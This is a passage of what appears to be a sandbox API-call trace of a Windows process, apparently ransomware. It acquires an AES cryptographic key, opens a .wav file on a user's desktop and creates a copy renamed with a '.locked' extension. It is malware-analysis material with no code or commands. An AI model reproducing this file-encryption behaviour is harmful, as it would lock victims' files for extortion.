(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0125.158] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0125.158] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.158] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0125.158] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.158] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0125.158] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0125.158] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.158] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0125.158] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.158] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0125.158] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0125.158] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.158] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0125.158] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.158] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.158] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.158] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.159] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0125.159] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.159] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0125.159] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.159] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0125.159] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0125.159] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.159] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0125.159] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.159] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0125.159] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0125.159] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.159] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0125.159] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.159] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0125.159] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0125.159] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.160] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0125.160] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.160] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0125.160] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0125.160] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.160] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0125.160] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.160] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0125.160] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0125.160] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.160] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0125.160] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.161] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0125.161] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0125.161] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.161] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0125.161] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.161] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0125.161] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0125.161] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.161] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.161] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0125.161] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0125.161] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.161] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.162] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.162] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.162] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.162] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.162] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.162] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.162] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.162] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.163] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0125.163] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x4396b48) returned 1 [0125.164] CryptImportKey (in: hProv=0x4396b48, pbData=0x6a3366c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e849b8) returned 1 [0125.164] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.164] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae780, nSize=0xe4 | out: lpBuffer="\xbbcc\x2447\x47bb\xcc24\xbbcc\x2447\x47bb\xcc24\xe7f0\x99a\x9aac\x7477\xe828\x99a\x3e48\x8e8\x3e48\x8e8\x24a") returned 0x0 [0125.164] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.164] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.164] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.166] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav")) returned 0x20 [0125.166] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav")) returned 0x20 [0125.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.167] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.167] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.167] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.167] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.167] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0125.167] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0125.168] GetFileType (hFile=0x874) returned 0x1 [0125.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0125.168] GetFileType (hFile=0x874) returned 0x1 [0125.168] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.168] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="⭈٨渁瀴") returned 0x0 [0125.168] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.168] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.168] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked", lpFilePart=0x0) returned 0x5d [0125.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0125.169] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0125.170] GetFileType (hFile=0x878) returned 0x1 [0125.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0125.170] GetFileType (hFile=0x878) returned 0x1 [0125.170] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, 